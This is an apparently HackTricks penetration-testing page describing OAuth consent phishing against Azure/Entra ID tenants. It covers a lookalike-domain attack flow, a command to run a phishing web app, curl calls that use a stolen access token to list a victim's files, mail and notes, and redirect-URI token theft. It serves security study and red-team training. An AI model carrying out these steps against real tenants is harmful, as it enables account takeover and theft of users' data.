# Az - OAuth Apps Phishing

{{#include ../../../banners/hacktricks-training.md}}

## OAuth App Phishing

**Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**.

### App consent permissions

By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.

<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>

If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.

Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline_access**, although it's possible to **add more** to this list.

nd if they can consent to all apps, they can consent to all apps.

### 2 Types of attacks

- **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
  - This requires the phished user to be **able to accept OAuth apps from external tenant**
  - If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
- **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
  - In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
  - You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)

### Users are allowed to consent

Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:

```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```

- Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
- Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
- **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.

It's possible to find the meaning of each of the commented policies in:

```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```

### **Application Admins**

Check users that are considered application admins (can accept new applications):

```bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
```

## **Attack Flow Overview**

The attack involves several steps targeting a generic company. Here's how it might unfold:

1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.

## Example Attack

1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
   1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).

<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>

2. Then create an application secret:

<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>

3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`

<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>

>[!WARNING]
> It's also possibel to request permissions to other APIs that are not Graph API, like `Azure Service Management API`, `Azure Vault`, `Azure Storage`, etc. For example, the scope `https://management.azure.com/user_impersonation` will allow the application to access the Azure Management API on behalf of the user.

4. **Execute the web page (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:

```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```

5. **Send the URL to the victim**
   1. In this case `http://localhost:8000`
6. **Victims** needs to **accept the prompt:**

<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>

7. Use the **access token to access the requested permissions**:

```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
  https://graph.microsoft.com/v1.0/me/drive/root/children \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Accept: application/json"

# List eails
curl -X GET \
  https://graph.microsoft.com/v1.0/me/messages \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Accept: application/json"

# List notes
curl -X GET \
  https://graph.microsoft.com/v1.0/me/onenote/notebooks \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Accept: application/json"
```

## Other Tools

- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)

## Post-Exploitation

### Phishing Post-Exploitation

Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use these permissions to perform those actions.

### Entra ID Applications Admin

If you managed to compromise somehow an Entra ID principal that can manage Applications in Entra ID, and there are applications that are being used by users of the tenant. An admin would be able to **modify the permissions the app is requesting and add a new allowed redirect address to steal the tokens**.
- Note that it’s possible to **add redirect URIs** (no need to delete the real one) and then send a HTTP link using the attackers redirect URI so when the user follows the link the authentication occurs automatically and the attacker receives the token.
- It’s also possible to change the permissions the app asks for in order to get more permission from the users, but in that case the user will need to **accept again the prompt** (even if he was already logged in).
- To perform this attack the attacker **DOESN'T NEED** to control the application code as he could just send the link to login in the app to the user with the new URL in the **`redirect_uri`** parameter.

### Application Post Exploitation

Check the Applications and Service Principal sections of the page:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## References

- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)

{{#include ../../../banners/hacktricks-training.md}}



